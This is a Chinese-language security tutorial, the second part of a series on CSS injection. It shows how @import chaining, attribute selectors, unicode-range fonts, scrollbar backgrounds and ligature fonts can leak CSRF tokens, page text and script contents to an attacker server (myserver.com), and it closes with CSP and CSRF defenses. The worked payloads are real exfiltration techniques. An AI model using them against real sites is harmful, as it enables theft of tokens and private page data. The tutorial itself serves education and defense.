在這篇裡面，我們看到了之所以可以用 CSS 來偷資料的原理，說穿了就是利用「屬性選擇器」再加上「載入圖片」這兩個簡單的功能，也示範了如何偷取 hidden input 跟 meta 裡的資料，並且以 HackMD當作實際案例說明。

但是呢，有幾個問題我們還沒解決，像是：

HackMD 因為可以即時同步內容，所以不需要重新整理就可以載入新的 style，那其他網站呢？該怎麼偷到第二個以後的字元？
一次只能偷一個字元的話，是不是要偷很久呢？這在實際上可行嗎？
有沒有辦法偷到屬性以外的東西？例如說頁面上的文字內容，或甚至是 JavaScript 的程式碼？
針對這個攻擊手法的防禦方式有哪些？

用 CSS 來偷資料 - CSS injection（下）

偷到所有字元

我們想偷的資料有可能只要重新整理以後就會改變（如 CSRF token），所以我們必須在不重新整理的狀況之下載入新的 style。

前面之所以做得到，是因為 HackMD 本身就是一個標榜即時更新的文件，但如果是一般的網頁呢？在不能用 JavaScript 的情況下，該如何不斷動態載入新的 style？

有關於這個問題，在 CSS Injection Attacks 這份簡報裡面給出了解答：@import。

在 CSS 裡面，你可以用 @import 去把外部的其他 style 引入進來，就像 JavaScript 的 import 那樣。

我們可以利用這個功能做出引入 style 的迴圈，如下面的程式碼：

1

@import url(https://myserver.com/start?len=8)

接著，在 server 回傳如下的 style：

1
2
3
4
5
6
7
8


@import url(https://myserver.com/payload?len=1)
@import url(https://myserver.com/payload?len=2)
@import url(https://myserver.com/payload?len=3)
@import url(https://myserver.com/payload?len=4)
@import url(https://myserver.com/payload?len=5)
@import url(https://myserver.com/payload?len=6)
@import url(https://myserver.com/payload?len=7)
@import url(https://myserver.com/payload?len=8)

重點來了，這邊雖然一次引入了 8 個，但是「後面 7 個 request，server 都會先 hang 住，不會給 response」，只有第一個網址 https://myserver.com/payload?len=1 會回傳 response，內容為之前提過的偷資料 payload：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


input[name="secret"][value^="a"] {
 background: url(https://b.myserver.com/leak?q=a)
}

input[name="secret"][value^="b"] {
 background: url(https://b.myserver.com/leak?q=b)
}

input[name="secret"][value^="c"] {
 background: url(https://b.myserver.com/leak?q=c)
}

//....

input[name="secret"][value^="z"] {
 background: url(https://b.myserver.com/leak?q=z)
}

當瀏覽器收到 response 的時候，就會先載入上面這一段 CSS，載入完以後符合條件的元素就會發 request 到後端，假設第一個字是 d 好了，接著 server 這時候才回傳 https://myserver.com/payload?len=2 的 response，內容為：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


input[name="secret"][value^="da"] {
 background: url(https://b.myserver.com/leak?q=da)
}

input[name="secret"][value^="db"] {
 background: url(https://b.myserver.com/leak?q=db)
}

input[name="secret"][value^="dc"] {
 background: url(https://b.myserver.com/leak?q=dc)
}

//....

input[name="secret"][value^="dz"] {
 background: url(https://b.myserver.com/leak?q=dz)
}

以此類推，只要不斷重複這些步驟，就可以把所有字元都傳到 server 去，靠的就是 import 會先載入已經下載好的 resource，然後去等待還沒下載好的特性。

這邊有一點要特別注意，你會發現我們載入 style 的 domain 是 myserver.com，而背景圖片的 domain 是 b.myserver.com，這是因為瀏覽器通常對於一個 domain 能同時載入的 request 有數量上的限制，所以如果你全部都是用 myserver.com 的話，會發現背景圖片的 request 送不出去，都被 CSS import 給卡住了。

因此需要設置兩個 domain，來避免這種狀況。

除此之外，上面這種方式在 Firefox 是行不通的，因為在 Firefox 上就算第一個的 response 先回來，也不會立刻更新 style，要等所有 request 都回來才會一起更新。解法的話可以參考這一篇：CSS data exfiltration in Firefox via a single injection point，把第一步的 import 拿掉，然後每一個字元的 import 都用額外的 style 包著，像這樣：

1
2
3
4
5
6
7
8


<style>@import url(https://myserver.com/payload?len=1)</style>
<style>@import url(https://myserver.com/payload?len=2)</style>
<style>@import url(https://myserver.com/payload?len=3)</style>
<style>@import url(https://myserver.com/payload?len=4)</style>
<style>@import url(https://myserver.com/payload?len=5)</style>
<style>@import url(https://myserver.com/payload?len=6)</style>
<style>@import url(https://myserver.com/payload?len=7)</style>
<style>@import url(https://myserver.com/payload?len=8)</style>

而上面這樣 Chrome 也是沒問題的，所以統一改成上面這樣，就可以同時支援兩種瀏覽器了。

總結一下，只要用 @import 這個 CSS 的功能，就可以做到「不重新載入頁面，但可以動態載入新的 style」，進而偷取後面的每一個字元。

一次偷一個字元，太慢了吧？

若是想要在現實世界中執行這種攻擊，效率可能要再更好一點。以 HackMD 為例，CSRF token 總共有 36 個字，所以就要發 36 個 request，確實是太多了點。

事實上，我們一次可以偷兩個字元，因為上集有講過除了 prefix selector 以外，也有 suffix selector，所以可以像這樣：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


input[name="secret"][value^="a"] {
 background: url(https://b.myserver.com/leak?q=a)
}

input[name="secret"][value^="b"] {
 background: url(https://b.myserver.com/leak?q=b)
}

// ...
input[name="secret"][value$="a"] {
 border-background: url(https://b.myserver2.com/suffix?q=a)
}

input[name="secret"][value$="b"] {
 border-background: url(https://b.myserver2.com/suffix?q=b)
}

除了偷開頭以外，我們也偷結尾，效率立刻變成兩倍。要特別注意的是開頭跟結尾的 CSS，一個用的是 background，另一個用的是 border-background，是不同的屬性，因為如果用同一個屬性的話，內容就會被其他的蓋掉，最後只會發出一個 request。

若是內容可能出現的字元不多，例如說 16 個的話，那我們可以直接一次偷兩個開頭加上兩個結尾，總共的 CSS rule 數量為 16*16*2 = 512 個，應該還在可以接受的範圍內，就能夠再加速兩倍。

除此之外，也可以朝 server 那邊去改善，例如說改用 HTTP/2 或甚至是 HTTP/3，都有機會能夠加速 request 載入的速度，進而提升效率。

偷其他東西

除了偷屬性之外，有沒有辦法偷到其他東西？例如說，頁面上的其他文字？或甚至是 script 裡面的程式碼？

根據我們在上一篇裡面講的原理，是做不到的。因為能偷到屬性是因為「屬性選擇器」這個東西，才讓我們選到特定的元素，而在 CSS 裡面，並沒有可以選擇「內文」的選擇器。

因此，我們需要對 CSS 以及網頁上的樣式有更深入的理解，才有辦法達成這件看似不可能的任務。

unicode-range

在 CSS 裡面，有一個屬性叫做「unicode-range」，可以針對不同的字元，載入不同的字體。像是底下這個從 MDN 拿來的範例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


<!DOCTYPE html>
<html>
 <body>
 <style>
 @font-face {
 font-family: "Ampersand";
 src: local("Times New Roman");
 unicode-range: U+26;
 }

 div {
 font-size: 4em;
 font-family: Ampersand, Helvetica, sans-serif;
 }
 </style>
 <div>Me & You = Us</div>
 </body>
</html>

& 的 unicode 是 U+0026，因此只有 & 這個字會用不同的字體來顯示，其他都用同一個字體。

這招前端工程師可能有用過，例如說英文跟中文如果要用不同字體來顯示，就很適合用這一招。而這招也可以用來偷取頁面上的文字，像這樣：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


<!DOCTYPE html>
<html>
 <body>
 <style>
 @font-face {
 font-family: "f1";
 src: url(https://myserver.com?q=1);
 unicode-range: U+31;
 }

 @font-face {
 font-family: "f2";
 src: url(https://myserver.com?q=2);
 unicode-range: U+32;
 }

 @font-face {
 font-family: "f3";
 src: url(https://myserver.com?q=3);
 unicode-range: U+33;
 }

 @font-face {
 font-family: "fa";
 src: url(https://myserver.com?q=a);
 unicode-range: U+61;
 }

 @font-face {
 font-family: "fb";
 src: url(https://myserver.com?q=b);
 unicode-range: U+62;
 }

 @font-face {
 font-family: "fc";
 src: url(https://myserver.com?q=c);
 unicode-range: U+63;
 }

 div {
 font-size: 4em;
 font-family: f1, f2, f3, fa, fb, fc;
 }
 </style>
 Secret: <div>ca31a</div>
 </body>
</html>

如果你去看 network tab，會看到一共發送了 4 個 request：

藉由這招，我們可以得知頁面上有：13ac 這四個字元。

而這招的侷限之處也很明顯，就是：

我們不知道字元的順序為何
重複的字元也不會知道

但是從「載入字型」的角度下去思考怎麼偷到字元，著實帶給了許多人一個新的思考方式，並發展出各式各樣其他的方法。

字體高度差異 + first-line + scrollbar

這招要解決的主要是上一招碰到的問題：「沒辦法知道字元順序」，然後這招結合了很多細節，步驟很多，要仔細聽了。

首先，我們其實可以不載入外部字體，用內建的字體就能 leak 出字元。這要怎麼做到呢？我們要先找出兩組內建字體，高度會不同。

例如有一個叫做「Comic Sans MS」的字體，高度就比另一個「Courier New」高。

舉個例子，假設預設字體的高度是 30px，而 Comic Sans MS 是 45px 好了。那現在我們把文字區塊的高度設成 40px，並且載入字體，像這樣：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


<!DOCTYPE html>
<html>
 <body>
 <style>
 @font-face {
 font-family: "fa";
 src:local('Comic Sans MS');
 font-style:monospace;
 unicode-range: U+41;
 }
 div {
 font-size: 30px;
 height: 40px;
 width: 100px;
 font-family: fa, "Courier New";
 letter-spacing: 0px;
 word-break: break-all;
 overflow-y: auto;
 overflow-x: hidden;
 }

 </style>
 Secret: <div>DBC</div>
 <div>ABC</div>
 </body>
</html>

就會在畫面上看到差異：

很明顯 A 比其他字元的高度都高，而且根據我們的 CSS 設定，如果內容高度超過容器高度，會出現 scrollbar。雖然上面是截圖看不出來，但是下面的 ABC 有出現 scrollbar，而上面的 DBC 沒有。

再者，我們其實可以幫 scrollbar 設定一個外部的背景：

1
2
3
4
5
6
7


div::-webkit-scrollbar {
 background: blue;
}

div::-webkit-scrollbar:vertical {
 background: url(https://myserver.com?q=a);
}

也就是說，如果 scrollbar 有出現，我們的 server 就會收到 request。如果 scrollbar 沒出現，就不會收到 request。

更進一步來說，當我把 div 套用 “fa” 字體時，如果畫面上有 A，就會出現 scrollbar，server 就會收到 request。如果畫面上沒有 A，就什麼事情都不會發生。

因此，我如果一直重複載入不同字體，那我在 server 就能知道畫面上有什麼字元，這點跟剛剛我們用 unicode-range 能做到的事情是一樣的。

那要怎麼解決順序的問題呢？

我們可以先把 div 的寬度縮減到只能顯示一個字元，這樣其他字元就會被放到第二行去，再搭配 ::first-line 這個 selector，就可以特別針對第一行做樣式的調整，像是這樣：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


<!DOCTYPE html>
<html>
 <body>
 <style>
 @font-face {
 font-family: "fa";
 src:local('Comic Sans MS');
 font-style:monospace;
 unicode-range: U+41;
 }
 div {
 font-size: 0px;
 height: 40px;
 width: 20px;
 font-family: fa, "Courier New";
 letter-spacing: 0px;
 word-break: break-all;
 overflow-y: auto;
 overflow-x: hidden;
 }

 div::first-line{
 font-size: 30px;
 }

 </style>
 Secret: <div>CBAD</div>
 </body>
</html>

畫面上你就只會看到一個「C」的字元，因為我們先用 font-size: 0px 把所有字元的尺寸都設為 0，再用 div::first-line 去做調整，讓第一行的 font-size 變成 30px。換句話說，只有第一行的字元能看到，而現在的 div 寬度只有 20px，所以只會出現第一個字元。

接著，我們再運用剛剛學會的那招，去載入看看不同的字體。當我載入 fa 這個字體時，因為畫面上沒有出現 A，所以不會有任何變化。但是當我載入 fc 這個字體時，畫面上有 C，所以就會用 Comic Sans MS 來顯示 C，高度就會變高，scrollbar 就會出現，就可以利用它來發出 request，像這樣：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


div {
 font-size: 0px;
 height: 40px;
 width: 20px;
 font-family: fc, "Courier New";
 letter-spacing: 0px;
 word-break: break-all;
 overflow-y: auto;
 overflow-x: hidden;
 --leak: url(http://myserver.com?C);
}

div::first-line{
 font-size: 30px;
}

div::-webkit-scrollbar {
 background: blue;
}

div::-webkit-scrollbar:vertical {
 background: var(--leak);
}

那我們要怎麼樣不斷使用新的 font-family 呢？用 CSS animation 就可以做到，你可以用 CSS animation 不斷載入不同的 font-family 以及指定不同的 –leak 變數。

如此一來，我們就能知道畫面上的第一個字元到底是什麼。

知道了第一個字元以後，我們把 div 的寬度變長，例如說變成 40px，就能容納兩個字元，因此第一行就會是前兩個字，接著再用一樣的方式載入不同的 font-family，就能 leak 出第二個字元，詳細流程如下：

假設畫面上是 ACB
調整寬度為 20px，第一行只出現第一個字元 A
載入字體 fa，因此 A 用較高的字體顯示，出現 scrollbar，載入 scrollbar 背景，傳送 request 給 server
載入字體 fb，但是 B 沒有出現在畫面上，因此沒有任何變化。
載入字體 fc，但是 C 沒有出現在畫面上，因此沒有任何變化。
調整寬度為 40px，第一行出現兩個字元 AC
載入字體 fa，因此 A 用較高的字體顯示，出現 scrollbar，此時應該是因為這個背景已經載入過，所以不會發送新的 request
載入字體 fb，沒出現在畫面上，沒任何變化
載入字體 fc，C 用較高的字體顯示，出現 scrollbar 並且載入背景
調整寬度為 60px，ACB 三個字元都出現在第一行
載入字體 fa，同第七步
載入字體 fb，B 用較高的字體顯示，出現 scrollbar 並且載入背景
載入字體 fc，C 用較高的字體顯示，但因為已經載入過相同背景，不會發送 request
結束

從上面流程中可以看出 server 會依序收到 A, C, B 三個 reqeust，代表了畫面上字元的順序。而不斷改變寬度以及 font-family 都可以用 CSS animation 做到。

想要看完整 demo 的可以看這個網頁（出處：What can we do with single CSS injection?）：https://demo.vwzq.net/css2.html

這個解法雖然解決了「不知道字元順序」的問題，但依然無法解決重複字元的問題，因為重複的字元不會再發出 request。

大絕招：ligature + scrollbar

先講結論，這一招可以解決上面所有問題，達成「知道字元順序，也知道重複字元」的目標，能夠偷到完整的文字。

要理解怎麼偷之前，我們要先知道一個專有名詞，叫做連字（ligature），在某些字型當中，會把一些特定的組合 render 成連在一起的樣子，如下圖（來源：wikipedia）：

那這個對我們有什麼幫助呢？

我們可以自己製作出一個獨特的字體，把 ab 設定成連字，並且 render 出一個超寬的元素。接著，我們把某個 div 寬度設成固定，然後結合剛剛 scrollbar 那招，也就是：「如果 ab 有出現，就會變很寬，scrollbar 就會出現，就可以載入 request 告訴 server；如果沒出現，那 scrollbar 就不會出現，沒有任何事情發生」。

流程是這樣的，假設畫面上有 acc 這三個字：

載入有連字 aa 的字體，沒事發生
載入有連字 ab 的字體，沒事發生
載入有連字 ac 的字體，成功 render 超寬的畫面，scrollbar 出現，載入 server 圖片
server 知道畫面上有 ac
載入有連字 aca 的字體，沒事發生
載入有連字 acb 的字體，沒事發生
載入有連字 acc 的字體，成功 render，scrollbar 出現，傳送結果給 server
server 知道畫面上有 aca

透過連字結合 scrollbar，我們可以一個字元一個字元，慢慢 leak 出畫面上所有的字，甚至連 JavaScript 的程式碼都可以！

你知道，script 的內容是可以顯示在畫面上的嗎？

1
2
3


head, script {
 display: block;
}

只要加上這個 CSS，就可以讓 script 內容也顯示在畫面上，因此我們也可以利用同樣的技巧，偷到 script 的內容！

在實戰上的話，你可以用 SVG 搭配其他工具，在 server 端迅速產生字體，想要看細節以及相關程式碼的話，可以參考這篇：Stealing Data in Great style – How to Use CSS to Attack Web Application.

而這邊我就簡單做個簡化到不行的 demo，來證明這件事情是可行的。為了簡化，有人做了一個 Safari 版本的 demo，因為 Safari 支援 SVG font，所以不需要再從 server 產生字型，原始文章在這裡：Data Exfiltration via CSS + SVG Font - PoC (Safari only)

簡易版 demo：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


<!DOCTYPE html>
<html lang="en">
<body>
 <script>
 var secret = "abc123"
 </script>
 <hr>
 <script>
 var secret2 = "cba321"
 </script>
 <svg>
 <defs>
 <font horiz-adv-x="0">
 <font-face font-family="hack" units-per-em="1000" />
 <glyph unicode='"a' horiz-adv-x="99999" d="M1 0z"/>
 </font>
 </defs>
 </svg>
 <style>
 script {
 display: block;
 font-family:"hack";
 white-space:n owrap;
 overflow-x: auto;
 width: 500px;
 background:lightblue;
 }

 script::-webkit-scrollbar {
 background: blue;
 }

 </style>
</body>
</html>

我用 script 放了兩段 JS，裡面內容分別是 var secret = "abc123" 跟 var secret2 = "cba321"，接著利用 CSS 載入我準備好的字體，只要有 "a 的連字，就會寬度超寬。

再來如果 scrollbar 有出現，我把背景設成藍色的，比較顯眼，最後的結果如下：

上面因為內容是 var secret = "abc123"，所以符合了 “a 的連字，因此寬度變寬，scrollbar 出現。

下面因為沒有 "a，所以 scrollbar 沒出現（有 a 的地方都會缺字，應該跟我沒有定義其他的 glyph 有關，但不影響結果）

只要把 scrollbar 的背景換成 URL，就可以從 server 端知道 leak 的結果。

如果想看實際的 demo 跟 server 端的寫法，可以參考上面附的那兩篇文章。

防禦方式

最後我們來講一下防禦方式，最簡單明瞭的當然就是直接把 style 封起來不給用，基本上就不會有 CSS injection 的問題（除非實作方式有漏洞）。

如果真的要開放 style，也可以用 CSP 來阻擋一些資源的載入，例如說 font-src 就沒有必要全開，style-src 也可以設置 allow list，就能夠擋住 @import 這個語法。

再來，也可以考慮到「如果頁面上的東西被拿走，會發生什麼事情」，例如說 CSRF token 被拿走，最壞就是 CSRF，此時就可以實作更多的防護去阻擋 CSRF，就算攻擊者取得了 CSRF token，也沒辦法 CSRF（例如說多檢查 origin header 之類的）。

總結

CSS 果真博大精深，真的很佩服這些前輩們可以把 CSS 玩出這麼多花樣，發展出這麼多令人眼界大開的攻擊手法。當初在研究的時候，利用屬性選擇器去 leak 這個我可以理解，用 unicode-range 我也能理解，但是那個用文字高度加上 CSS animation 去變化的，我花了不少時間才搞懂那在幹嘛，連字那個雖然概念好懂，但真的要實作還是會碰到不少問題。

最後，這兩篇文章主要算是介紹一下 CSS injection 這個攻擊手法，因此實際的程式碼並不多，而這些攻擊手法都參考自前人們的文章，列表我會附在下面，有興趣的話可以閱讀原文，會講得更詳細一點，如果對哪項攻擊想要深入了解，也可以留言跟我交流。